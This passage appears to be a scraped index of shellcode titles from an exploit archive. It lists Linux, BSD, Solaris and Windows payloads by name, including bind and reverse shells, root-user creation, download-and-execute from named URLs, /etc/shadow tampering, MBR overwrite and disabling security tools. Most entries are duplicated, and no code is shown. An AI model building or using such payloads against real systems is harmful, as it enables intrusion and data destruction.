(59 bytes) Linux/x86 - Anti-Debug Trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (80 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + fork() Shellcode (98 bytes) Linux/x86 - Open CD-Rom Loop 24/7 (Follows /dev/cdrom Symlink) Shellcode (39 bytes) Linux/x86 - Eject CD-Rom (Follows /dev/cdrom Symlink) + exit() Shellcode (40 bytes) Linux/x86 - Eject/Close CD-Rom Loop (Follows /dev/cdrom Symlink) Shellcode (45 bytes) Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (32 bytes) Linux/x86 - Reverse TCP Shell (127.0.0.1:31337/TCP) Shellcode (74 bytes) Linux/x86 - Normal Exit With Random (So To Speak) Return Value Shellcode (5 bytes) Linux/x86 - getppid() + execve(/proc/pid/exe) Shellcode (51 bytes) Linux/x86 - Quick (yet conditional_ eax != 0 and edx == 0) exit Shellcode (4 bytes) Linux/x86 - reboot() Shellcode (20 bytes) Linux/x86 - setreuid(0_ 0) + execve /bin/sh Shellcode (31 bytes) Linux/x86 - execve /bin/sh + PUSH Shellcode (23 bytes) Linux/x86 - cat /dev/urandom > /dev/console Shellcode (63 bytes) Linux/x86 - execve /bin/sh Shellcode (24 bytes) (2) Linux/x86 - Reverse TCP Shell (127.0.0.1:80/TCP) XOR Encoded Shellcode (371 bytes) Linux/x86 - execve /bin/sh + '.ZIP' Header Shellcode (28 bytes) Linux/x86 - execve /bin/sh + '.RTF' Header Shellcode (30 bytes) Linux/x86 - execve /bin/sh + '.RIFF' Header Shellcode (28 bytes) Linux/x86 - execve /bin/sh + '.BMP' Bitmap Header Shellcode (27 bytes) Linux/x86 - Read SWAP + Write To /tmp/swr Shellcode (109 bytes) Linux/x86 - Read /tmp/sws + Store In SWAP Shellcode (99 bytes) Linux/x86 - Bind TCP /bin/sh Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes) Linux/x86 - Bind TCP /bin/sh Shell (64713/TCP) Shellcode (86 bytes) Linux/x86 - execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (25 bytes) Linux/x86 - execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (23 bytes) Linux/x86 - setuid(0) + execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (31 bytes) Linux/x86 - setuid(0) + setgid(0) + execve(/bin/sh_ [/bin/sh_ NULL]) Shellcode (37 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes) Linux/x86 - Download File (HTTP/1.x http://127.0.0.1:8081/foobar.bin) + Receive Shellcode + Payload Loader Shellcode (68+ bytes) Linux/x86 - TCP Proxy (192.168.1.16:1280/TCP) All Connect() Null-Free Shellcode (236 bytes) Linux/x86 - execve /bin/sh Anti-IDS Shellcode (40 bytes) Linux/x86 (Intel x86 CPUID) - execve /bin/sh XORED Encoded Shellcode (41 bytes) Linux/x86 - execve /bin/sh Shellcode +1 Encoded (39 bytes) Linux/x86 - Add Root User (xtz) To /etc/passwd Shellcode (59 bytes) Linux/x86 - Anti-Debug Trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (80 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + fork() Shellcode (98 bytes) Linux/x86 - Open CD-Rom Loop 24/7 (Follows /dev/cdrom Symlink) Shellcode (39 bytes) Linux/x86 - Eject CD-Rom (Follows /dev/cdrom Symlink) + exit() Shellcode (40 bytes) Linux/x86 - Eject/Close CD-Rom Loop (Follows /dev/cdrom Symlink) Shellcode (45 bytes) Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (32 bytes) Linux/x86 - Reverse TCP Shell (127.0.0.1:31337/TCP) Shellcode (74 bytes) Linux/x86 - Normal Exit With Random (So To Speak) Return Value Shellcode (5 bytes) Linux/x86 - getppid() + execve(/proc/pid/exe) Shellcode (51 bytes) Linux/x86 - Quick (yet conditional_ eax != 0 and edx == 0) exit Shellcode (4 bytes) Linux/x86 - reboot() Shellcode (20 bytes) Linux/x86 - setreuid(0_ 0) + execve /bin/sh Shellcode (31 bytes) Linux/x86 - execve /bin/sh + PUSH Shellcode (23 bytes) Linux/x86 - cat /dev/urandom > /dev/console Shellcode (63 bytes) Linux/x86 - Socket-Proxy (31337:11.22.33.44:80) Shellcode (372 bytes) Linux/x86 - dup2(0_0); dup2(0_1); dup2(0_2); Shellcode (15 bytes) Linux/x86 - if(read(fd_buf_512)<=2) _exit(1) else buf(); Shellcode (29 bytes) Linux/x86 - _exit(1); Shellcode (7 bytes) Linux/x86 - read(0_buf_2541); + chmod(buf_4755); Shellcode (23 bytes) Linux/x86 - write(0__Hello core!\n__12); Exit Shellcode (36/43 bytes) Linux/x86 - Snoop /dev/dsp Null-Free Shellcode (172 bytes) Linux/x86 - execve /bin/sh Standard Opcode Array Payload Shellcode (21 bytes) Linux/x86 - Hide-Wait-Change (Hide from PS + Wait for /tmp/foo + chmod 0455) Shellcode (187+ bytes) (2) Linux/x86 - Hide-Wait-Change (Hide from PS + Wait for /tmp/foo + chmod 0455) Shellcode (187+ bytes) (1) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes) Linux/x86 - Break chroot (../ 20x Loop) + execve /bin/sh Shellcode (66 bytes) Linux/x86 - upload + exec Shellcode (189 bytes) Linux/x86 - setreuid + execve Shellcode (31 bytes) Linux/x86 - Alphanumeric Encoded Shellcode (64 bytes) Linux/x86 - Alphanumeric Encoder (IMUL Method) Shellcode (88 bytes) Linux/x86 - Self-Modifying Radical Shellcode (70 bytes) Linux/x86 - Self-Modifying Magic Byte /bin/sh Shellcode (76 bytes) Linux/x86 - execve code Shellcode (23 bytes) Linux/x86 - execve(_/bin/ash__0_0); Shellcode (21 bytes) Linux/x86 - execve /bin/sh Alphanumeric Shellcode (392 bytes) Linux/IA32 - execve /bin/sh 0xff-Free Shellcode (45 bytes) Linux/x86 - symlink /bin/sh xoring Shellcode (56 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) ToUpper Encoded Shellcode (226 bytes) Linux/x86 - Add Root User (t00r) Anti-IDS Shellcode (116 bytes) Linux/x86 - chmod 666 /etc/shadow Anti-IDS Shellcode (75 bytes) Linux/x86 - symlink . /bin/sh Shellcode (32 bytes) Linux/x86 - Kill Snort Shellcode (151 bytes) Linux/x86 - Execute At Shared Memory Shellcode (50 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes) Linux/x86 - Reverse Telnet Shell (200.182.207.235) Shellcode (134 bytes) Linux/x86 - Reverse TCP /bin/sh Shell Shellcode (120 bytes) Linux/x86 - chmod 666 /etc/shadow Shellcode (41 bytes) Linux/x86 - cp /bin/sh /tmp/katy ; + chmod 4555 katy Shellcode (126 bytes) Linux/x86 - Eject /dev/cdrom Shellcode (64 bytes) Linux/x86 - xterm -ut -display 1270.0.0.1:0 Shellcode (132 bytes) Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (49 bytes) Linux/x86 - chmod 666 /etc/shadow Shellcode (82 bytes) Linux/x86 - execve /bin/sh Shellcode (29 bytes) Linux/x86 - execve /bin/sh Shellcode (24 bytes) (3) Linux/x86 - execve /bin/sh Shellcode (38 bytes) Linux/x86 - execve /bin/sh Shellcode (30 bytes) Linux/x86 - execve /bin/sh + setreuid(12_12) Shellcode (50 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) Shellcode (92 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) + fork() Shellcode (130 bytes) Linux/x86 - Add Root User (t00r) Shellcode (82 bytes) Linux/x86 - Add Root User Shellcode (104 bytes) Linux/x86 - Break chroot (../ 10x Loop) Shellcode (34 bytes) Linux/x86 - Break chroot (../ 10x Loop) Shellcode (46 bytes) Linux/x86 - Break chroot + execve /bin/sh Shellcode (80 bytes) Linux/x86 - execve /bin/sh Anti-IDS Shellcode (58 bytes) Linux/x86 - execve /bin/sh XOR Encoded Shellcode (55 bytes) Linux/x86 - execve /bin/sh ToLower Encoded Shellcode (41 bytes) Linux/x86 - setreuid(0_0) + execve /bin/sh Shellcode (46+ bytes) Linux/x86 - execve /bin/sh ToLower Encoded Shellcode (55 bytes) Linux/x86 - Add Root User (z) Shellcode (70 bytes) Linux/x86 - setreuid(0_ 0) + Break chroot (mkdir/chdir/chroot _../_) + execve /bin/sh Shellcode (132 bytes) Linux/x86-64 - Bind TCP Shell (4444/TCP) Shellcode (132 bytes) Linux/x86-64 - execve /bin/sh Shellcode (33 bytes) Linux/x86 - Socket-Proxy (31337:11.22.33.44:80) Shellcode (372 bytes) Linux/x86 - dup2(0_0) + dup2(0_1) + dup2(0_2) Shellcode (15 bytes) Linux/x86 - if(read(fd_buf_512)<=2) _exit(1) else buf() Shellcode (29 bytes) Linux/x86 - _exit(1) Shellcode (7 bytes) Linux/x86 - read(0_buf_2541) + chmod(buf_4755) Shellcode (23 bytes) Linux/x86 - write(0__Hello core!\n__12) + Exit Shellcode (36/43 bytes) Linux/x86 - Snoop /dev/dsp Null-Free Shellcode (172 bytes) Linux/x86 - execve /bin/sh Standard Opcode Array Payload Shellcode (21 bytes) Linux/x86 - Hide-Wait-Change (Hide from PS + Wait for /tmp/foo + chmod 0455) Shellcode (187+ bytes) (2) Linux/x86 - Hide-Wait-Change (Hide from PS + Wait for /tmp/foo + chmod 0455) Shellcode (187+ bytes) (1) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes) Linux/x86 - Break chroot (../ 20x Loop) + execve /bin/sh Shellcode (66 bytes) Linux/x86 - upload + exec Shellcode (189 bytes) Linux/x86 - setreuid + execve Shellcode (31 bytes) Linux/x86 - Alphanumeric Encoded Shellcode (64 bytes) Linux/x86 - Alphanumeric Encoder (IMUL Method) Shellcode (88 bytes) Linux/x86 - Self-Modifying Radical Shellcode (70 bytes) Linux/x86 - Self-Modifying Magic Byte /bin/sh Shellcode (76 bytes) Linux/x86 - execve code Shellcode (23 bytes) Linux/x86 - execve(_/bin/ash__0_0) Shellcode (21 bytes) Linux/x86 - execve /bin/sh Alphanumeric Shellcode (392 bytes) Linux/IA32 - execve /bin/sh 0xff-Free Shellcode (45 bytes) Linux/x86 - symlink /bin/sh xoring Shellcode (56 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) ToUpper Encoded Shellcode (226 bytes) Linux/x86 - Add Root User (t00r) Anti-IDS Shellcode (116 bytes) Linux/x86 - chmod 666 /etc/shadow Anti-IDS Shellcode (75 bytes) Linux/x86 - symlink . /bin/sh Shellcode (32 bytes) Linux/x86 - Kill Snort Shellcode (151 bytes) Linux/x86 - Execute At Shared Memory Shellcode (50 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes) Linux/x86 - Reverse Telnet Shell (200.182.207.235) Shellcode (134 bytes) Linux/x86 - Reverse TCP /bin/sh Shell Shellcode (120 bytes) Linux/x86 - chmod 666 /etc/shadow Shellcode (41 bytes) Linux/x86 - cp /bin/sh /tmp/katy + chmod 4555 katy Shellcode (126 bytes) Linux/x86 - Eject /dev/cdrom Shellcode (64 bytes) Linux/x86 - xterm -ut -display 1270.0.0.1:0 Shellcode (132 bytes) Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (49 bytes) Linux/x86 - chmod 666 /etc/shadow Shellcode (82 bytes) Linux/x86 - execve /bin/sh Shellcode (29 bytes) Linux/x86 - execve /bin/sh Shellcode (24 bytes) (3) Linux/x86 - execve /bin/sh Shellcode (38 bytes) Linux/x86 - execve /bin/sh Shellcode (30 bytes) Linux/x86 - execve /bin/sh + setreuid(12_12) Shellcode (50 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) Shellcode (92 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) + fork() Shellcode (130 bytes) Linux/x86 - Add Root User (t00r) Shellcode (82 bytes) Linux/x86 - Add Root User Shellcode (104 bytes) Linux/x86 - Break chroot (../ 10x Loop) Shellcode (34 bytes) Linux/x86 - Break chroot (../ 10x Loop) Shellcode (46 bytes) Linux/x86 - Break chroot + execve /bin/sh Shellcode (80 bytes) Linux/x86 - execve /bin/sh Anti-IDS Shellcode (58 bytes) Linux/x86 - execve /bin/sh XOR Encoded Shellcode (55 bytes) Linux/x86 - execve /bin/sh ToLower Encoded Shellcode (41 bytes) Linux/x86 - setreuid(0_0) + execve /bin/sh Shellcode (46+ bytes) Linux/x86 - execve /bin/sh ToLower Encoded Shellcode (55 bytes) Linux/x86 - Add Root User (z) Shellcode (70 bytes) Linux/x86 - setreuid(0_ 0) + Break chroot (mkdir/chdir/chroot _../_) + execve /bin/sh Shellcode (132 bytes) Linux/x86-64 - Bind TCP Shell (4444/TCP) Shellcode (132 bytes) Linux/x86-64 - execve /bin/sh Shellcode (33 bytes) NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes) NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes) NetBSD/x86 - setreuid(0_ 0) + execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes) NetBSD/x86 - setreuid(0_ 0) + execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes) SCO/x86 - execve(_/bin/sh__ ..._ NULL); Shellcode (43 bytes) SCO/x86 - execve(_/bin/sh__ ..._ NULL) Shellcode (43 bytes) Solaris/x86 - setuid(0) + execve(//bin/sh); + exit(0) Null-Free Shellcode (39 bytes) Solaris/x86 - setuid(0) + execve(//bin/sh) + exit(0) Null-Free Shellcode (39 bytes) Windows 5.0 < 7.0 x86 - Bind TCP Shell (28876/TCP) Null-Free Shellcode Windows XP SP2 x86 (English) - cmd.exe Shellcode (23 bytes) Windows x86 - Egg Omelet SEH Shellcode Windows x86 - Add Administrator User (GAZZA/123456) + Start Telnet Service Shellcode (111 bytes) Windows x86 - PEB!NtGlobalFlags Shellcode (14 bytes) Windows XP SP2 x86 (French) - cmd.exe Shellcode (32 bytes) Windows XP SP2 x86 - cmd.exe Shellcode (57 bytes) Windows x86 - PEB _Kernel32.dll_ ImageBase Finder Alphanumeric Shellcode (67 bytes) Windows x86 - PEB _Kernel32.dll_ ImageBase Finder (ASCII Printable) Shellcode (49 bytes) Windows x86 - ConnectBack + Download A File + Save + Execute Shellcode Windows 5.0 < 7.0 x86 - Bind TCP Shell (28876/TCP) Null-Free Shellcode Windows XP SP2 x86 (English) - cmd.exe Shellcode (23 bytes) Windows x86 - Egg Omelet SEH Shellcode Windows x86 - Add Administrator User (GAZZA/123456) + Start Telnet Service Shellcode (111 bytes) Windows x86 - PEB!NtGlobalFlags Shellcode (14 bytes) Windows XP SP2 x86 (French) - cmd.exe Shellcode (32 bytes) Windows XP SP2 x86 - cmd.exe Shellcode (57 bytes) Windows x86 - PEB _Kernel32.dll_ ImageBase Finder Alphanumeric Shellcode (67 bytes) Windows x86 - PEB _Kernel32.dll_ ImageBase Finder (ASCII Printable) Shellcode (49 bytes) Windows x86 - Reverse Connection + Download A File + Save + Execute Shellcode Windows x86 - Download File + Execute Shellcode (192 bytes) Windows x86 - Download File (http://127.0.0.1/file.exe) + Execute Shellcode (124 bytes) Windows NT/XP x86 - IsDebuggerPresent Shellcode (39 bytes) Windows SP1/SP2 x86 - Beep Shellcode (35 bytes) Windows XP SP2 x86 - MessageBox Shellcode (110 bytes) Windows x86 - Command WinExec() Shellcode (104+ bytes) Windows x86 - Download File (http://www.ph4nt0m.org/a.exe) + Execute (C:/a.exe) Shellcode (226+ bytes) Windows NT/2000/XP (Russian) - Add Administartor User (slim/shady) Shellcode (318 bytes) Windows 9x/NT/2000/XP - Reverse Generic without Loader (192.168.1.11:4919) Shellcode (249 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (29 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (31 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (35 bytes) Windows x86 - Download File + Execute Shellcode (192 bytes) Windows x86 - Download File (http://127.0.0.1/file.exe) + Execute Shellcode (124 bytes) Windows NT/XP x86 - IsDebuggerPresent Shellcode (39 bytes) Windows SP1/SP2 x86 - Beep Shellcode (35 bytes) Windows XP SP2 x86 - MessageBox Shellcode (110 bytes) Windows x86 - Command WinExec() Shellcode (104+ bytes) Windows x86 - Download File (http://www.ph4nt0m.org/a.exe) + Execute (C:/a.exe) Shellcode (226+ bytes) Windows NT/2000/XP (Russian) - Add Administartor User (slim/shady) Shellcode (318 bytes) Windows 9x/NT/2000/XP - Reverse Generic without Loader (192.168.1.11:4919) Shellcode (249 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (29 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (31 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (35 bytes) Windows XP/2000/2003 - Download File (http://127.0.0.1/test.exe) + Execute (%systemdir%/a.exe) Shellcode (241 bytes) Windows XP - Download File (http://www.elitehaven.net/ncat.exe) + Execute (nc.exe) Null-Free Shellcode Windows XP SP1 - Bind TCP Shell (58821/TCP) Shellcode (116 bytes) Windows - DCOM RPC2 Universal Shellcode Windows x64 - (URLDownloadToFileA) Download File (http://localhost/trojan.exe) + Execute Shellcode (218+ bytes) Linux/x86 - Kill All Processes Shellcode (9 bytes) Linux/x86 - setuid(0) + execve(_/sbin/poweroff -f_) Shellcode (47 bytes) Linux/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (49 bytes) Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve Shellcode (51 bytes) Windows XP/2000/2003 - Download File (http://127.0.0.1/test.exe) + Execute (%systemdir%/a.exe) Shellcode (241 bytes) Windows XP - Download File (http://www.elitehaven.net/ncat.exe) + Execute (nc.exe) Null-Free Shellcode Windows XP SP1 - Bind TCP Shell (58821/TCP) Shellcode (116 bytes) Windows - DCOM RPC2 Universal Shellcode Windows x64 - (URLDownloadToFileA) Download File (http://localhost/trojan.exe) + Execute Shellcode (218+ bytes) Linux/x86 - Kill All Processes Shellcode (9 bytes) Linux/x86 - setuid(0) + execve(_/sbin/poweroff -f_) Shellcode (47 bytes) Linux/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (49 bytes) Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve Shellcode (51 bytes) Linux/x86 - Overwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes) Windows XP SP3 x86 - ShellExecuteA Shellcode Linux/x86 - setreuid (0_0) + execve(/bin/rm /etc/shadow) Shellcode Windows XP SP3 x86 - Add Firewall Rule (Allow 445/TCP) Traffic Shellcode Linux/x86 - Overwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes) Windows XP SP3 x86 - ShellExecuteA Shellcode Linux/x86 - setreuid (0_0) + execve(/bin/rm /etc/shadow) Shellcode Windows XP SP3 x86 - Add Firewall Rule (Allow 445/TCP) Traffic Shellcode Windows XP SP2 x86 - calc.exe Shellcode (45 bytes) Linux/x86 - unlink(/etc/passwd) + exit() Shellcode (35 bytes) Windows XP SP2 x86 (English / Arabic) - cmd.exe Shellcode (23 bytes) Linux/x86 - chmod 666 /etc/shadow Shellcode (27 bytes) Linux/x86 - setuid + Break chroot (mkdir/chdir/chroot '...') + execve /bin/sh Shellcode (79 bytes) Linux/x86 - Fork Bomb Shellcode (6 bytes) (1) Linux/x86 - Add Root User (toor) To /etc/passwd + exit() Shellcode (107 bytes) Windows XP SP2 x86 - calc.exe Shellcode (45 bytes) Linux/x86 - unlink(/etc/passwd) + exit() Shellcode (35 bytes) Windows XP SP2 x86 (English / Arabic) - cmd.exe Shellcode (23 bytes) Linux/x86 - chmod 666 /etc/shadow Shellcode (27 bytes) Linux/x86 - setuid + Break chroot (mkdir/chdir/chroot '...') + execve /bin/sh Shellcode (79 bytes) Linux/x86 - Fork Bomb Shellcode (6 bytes) (1) Linux/x86 - Add Root User (toor) To /etc/passwd + exit() Shellcode (107 bytes) Linux/x86 - Eject /dev/cdrom Shellcode (42 bytes) Windows XP SP2 x86 (French) - calc Shellcode (19 bytes) Linux/x86 - ip6tables -F Polymorphic Shellcode (71 bytes) Linux/x86 - ip6tables -F Shellcode (47 bytes) Linux/i686 - pacman -S <package> (default package: backdoor) Shellcode (64 bytes) Linux/i686 - pacman -R <package> Shellcode (59 bytes) Linux/x86 - execve /bin/cat /etc/passwd Shellcode (43 bytes) Windows XP SP3 x86 (English) - cmd.exe Shellcode (26 bytes) Windows XP SP2 x86 (Turkish) - cmd.exe Shellcode (26 bytes) Linux/x86 - execve /bin/sh Shellcode (8 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) (2) Windows XP Home SP2 (English) - calc.exe Shellcode (37 bytes) Windows XP Home SP3 (English) - calc.exe Shellcode (37 bytes) Linux/x86 - Disable modsecurity Shellcode (64 bytes) Windows x86 - JITed Stage-0 Shellcode Windows x86 - JITed exec notepad Shellcode Windows XP Professional SP2 (Italian) - calc.exe Shellcode (36 bytes) Windows XP SP2 x86 - write.exe + ExitProcess WinExec Shellcode (16 bytes) Linux/x86 - Eject /dev/cdrom Shellcode (42 bytes) Windows XP SP2 x86 (French) - calc Shellcode (19 bytes) Linux/x86 - ip6tables -F Polymorphic Shellcode (71 bytes) Linux/x86 - ip6tables -F Shellcode (47 bytes) Linux/i686 - pacman -S <package> (default package: backdoor) Shellcode (64 bytes) Linux/i686 - pacman -R <package> Shellcode (59 bytes) Linux/x86 - execve /bin/cat /etc/passwd Shellcode (43 bytes) Windows XP SP3 x86 (English) - cmd.exe Shellcode (26 bytes) Windows XP SP2 x86 (Turkish) - cmd.exe Shellcode (26 bytes) Linux/x86 - execve /bin/sh Shellcode (8 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) (2) Windows XP Home SP2 (English) - calc.exe Shellcode (37 bytes) Windows XP Home SP3 (English) - calc.exe Shellcode (37 bytes) Linux/x86 - Disable modsecurity Shellcode (64 bytes) Windows x86 - JITed Stage-0 Shellcode Windows x86 - JITed exec notepad Shellcode Windows XP Professional SP2 (Italian) - calc.exe Shellcode (36 bytes) Windows XP SP2 x86 - write.exe + ExitProcess WinExec Shellcode (16 bytes) Windows XP SP3 x86 (Russia) - cmd + ExitProcess WinExec Shellcode (12 bytes) Windows x86 - MessageBox Shellcode (Metasploit) Windows XP SP3 x86 (Russia) - cmd + ExitProcess WinExec Shellcode (12 bytes) Windows x86 - MessageBox Shellcode (Metasploit) Linux/x86 - Bind Netcat Shell (13377/TCP) Shellcode Linux/x86 - chmod 0666 /etc/shadow Shellcode (36 bytes) Linux/x86-64 - execve /bin/sh Shellcode (25 bytes) (2) Linux/x86 - DoS Badger Game Shellcode (6 bytes) Linux/x86 - DoS SLoc Shellcode (55 bytes) Linux/x86 - execve(_a->/bin/sh_) Local-only Shellcode (14 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (33 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (29 bytes) Linux/x86 - Bind Netcat Shell (13377/TCP) Shellcode Linux/x86 - chmod 0666 /etc/shadow Shellcode (36 bytes) Linux/x86-64 - execve /bin/sh Shellcode (25 bytes) (2) Linux/x86 - DoS Badger Game Shellcode (6 bytes) Linux/x86 - DoS SLoc Shellcode (55 bytes) Linux/x86 - execve(_a->/bin/sh_) Local-only Shellcode (14 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (33 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (29 bytes) Linux/x86 - Fork Bomb Polymorphic Shellcode (30 bytes) Linux/x86 - Fork Bomb Shellcode (6 bytes) (2) Linux/x86 - setreud(getuid()_ getuid()) + execve(_/bin/sh_) Shellcode (34 bytes) Linux/x86-64 - reboot(POWER_OFF) Shellcode (19 bytes) Linux/x86-64 - execve /bin/sh Shellcode (30 bytes) Linux/x86 - Sends 'Phuck3d!' To All Terminals Shellcode (60 bytes) Linux/x86 - execve(_/bin/bash___-p__NULL) Shellcode (33 bytes) Linux/x86 - execve(_/bin/bash___-p__NULL) Polymorphic Shellcode (57 bytes) Windows XP SP2 (French) - Download File (http://www.site.com/nc.exe_) + Execute (c:\backdor.exe) Shellcode Linux/x86 - execve(_/usr/bin/wget__ _aaaa_); Shellcode (42 bytes) Linux/x86 - sys_execve(_/bin/sh__ _0__ _0_) with umask 16 (sys_umask(14)) Shellcode (45 bytes) Linux/x86 - Fork Bomb Polymorphic Shellcode (30 bytes) Linux/x86 - Fork Bomb Shellcode (6 bytes) (2) Linux/x86 - setreud(getuid()_ getuid()) + execve(_/bin/sh_) Shellcode (34 bytes) Linux/x86-64 - reboot(POWER_OFF) Shellcode (19 bytes) Linux/x86-64 - execve /bin/sh Shellcode (30 bytes) Linux/x86 - Sends 'Phuck3d!' To All Terminals Shellcode (60 bytes) Linux/x86 - execve(_/bin/bash___-p__NULL) Shellcode (33 bytes) Linux/x86 - execve(_/bin/bash___-p__NULL) Polymorphic Shellcode (57 bytes) Windows XP SP2 (French) - Download File (http://www.site.com/nc.exe_) + Execute (c:\backdor.exe) Shellcode Linux/x86 - execve(_/usr/bin/wget__ _aaaa_) Shellcode (42 bytes) Linux/x86 - sys_execve(_/bin/sh__ _0__ _0_) with umask 16 (sys_umask(14)) Shellcode (45 bytes) Linux/x86 - Disable ASLR Security Shellcode (106 bytes) Linux/x86 - pwrite(_/etc/shadow__ hash_ 32_ 8) Shellcode (83 bytes) Linux/x86 - Fork Bomb Alphanumeric Shellcode (117 bytes) Windows 7 Professional SP1 x64 (FR) - Beep Shellcode (39 bytes) Linux/x86 - setuid(0) + chmod 0666 /etc/shadow Polymorphic Shellcode (61 bytes) Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/shadow Shellcode (39 bytes) Linux/x86 - Kill All Running Process Shellcode (11 bytes) Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/passwd Shellcode (39 bytes) Linux/x86 - sys_execve(_/bin/sh__ _-c__ _reboot_) Shellcode (45 bytes) Linux/x86 - sys_setuid(0) + sys_setgid(0) + execve (_/bin/sh_) Shellcode (39 bytes) Windows 7 x64 - cmd Shellcode (61 bytes) Linux/x86 - unlink _/etc/shadow_ Shellcode (33 bytes) Linux/x86 - Hard Reboot Shellcode (29 bytes) Linux/x86 - Hard Reboot Shellcode (33 bytes) Linux/x86 - Disable ASLR Security Shellcode (106 bytes) Linux/x86 - pwrite(_/etc/shadow__ hash_ 32_ 8) Shellcode (83 bytes) Linux/x86 - Fork Bomb Alphanumeric Shellcode (117 bytes) Windows 7 Professional SP1 x64 (FR) - Beep Shellcode (39 bytes) Linux/x86 - setuid(0) + chmod 0666 /etc/shadow Polymorphic Shellcode (61 bytes) Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/shadow Shellcode (39 bytes) Linux/x86 - Kill All Running Process Shellcode (11 bytes) Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/passwd Shellcode (39 bytes) Linux/x86 - sys_execve(_/bin/sh__ _-c__ _reboot_) Shellcode (45 bytes) Linux/x86 - sys_setuid(0) + sys_setgid(0) + execve (_/bin/sh_) Shellcode (39 bytes) Windows 7 x64 - cmd Shellcode (61 bytes) Linux/x86 - unlink _/etc/shadow_ Shellcode (33 bytes) Linux/x86 - Hard Reboot Shellcode (29 bytes) Linux/x86 - Hard Reboot Shellcode (33 bytes) Linux/x86 - chown root:root /bin/sh Shellcode (48 bytes) Linux/x86 - Give All Users Root Access When Executing /bin/sh Shellcode (45 bytes) Linux/x86 - Reverse Netcat Shell (8080/TCP) Shellcode (76 bytes) Linux/x86 - chown root:root /bin/sh Shellcode (48 bytes) Linux/x86 - Give All Users Root Access When Executing /bin/sh Shellcode (45 bytes) Linux/x86 - Reverse Netcat Shell (8080/TCP) Shellcode (76 bytes) Linux/x86-64 - Disable ASLR Security Shellcode (143 bytes) Linux/x86 - Bind TCP Shell (31337/TCP) + setreuid(0_0) Polymorphic Shellcode (131 bytes) Linux/x86-64 - setuid(0) + chmod 0777 /etc/passwd + exit(0) Shellcode (63 bytes) Linux/x86-64 - Add Root User (shell-storm/leet) Shellcode (390 bytes) Windows XP SP3 (Spanish) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes) Linux/x86-64 - Disable ASLR Security Shellcode (143 bytes) Linux/x86 - Bind TCP Shell (31337/TCP) + setreuid(0_0) Polymorphic Shellcode (131 bytes) Linux/x86-64 - setuid(0) + chmod 0777 /etc/passwd + exit(0) Shellcode (63 bytes) Linux/x86-64 - Add Root User (shell-storm/leet) Shellcode (390 bytes) Windows XP SP3 (Spanish) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes) Linux/x86 - execve /bin/sh Polymorphic Shellcode (116 bytes) Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); XOR 88 Encoded Polymorphic Shellcode (78 bytes) Linux/x86 - Bind TCP /bin/sh Shell (64533/TCP) Shellcode (97 bytes) Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) XOR 88 Encoded Polymorphic Shellcode (78 bytes) Linux/x86 - 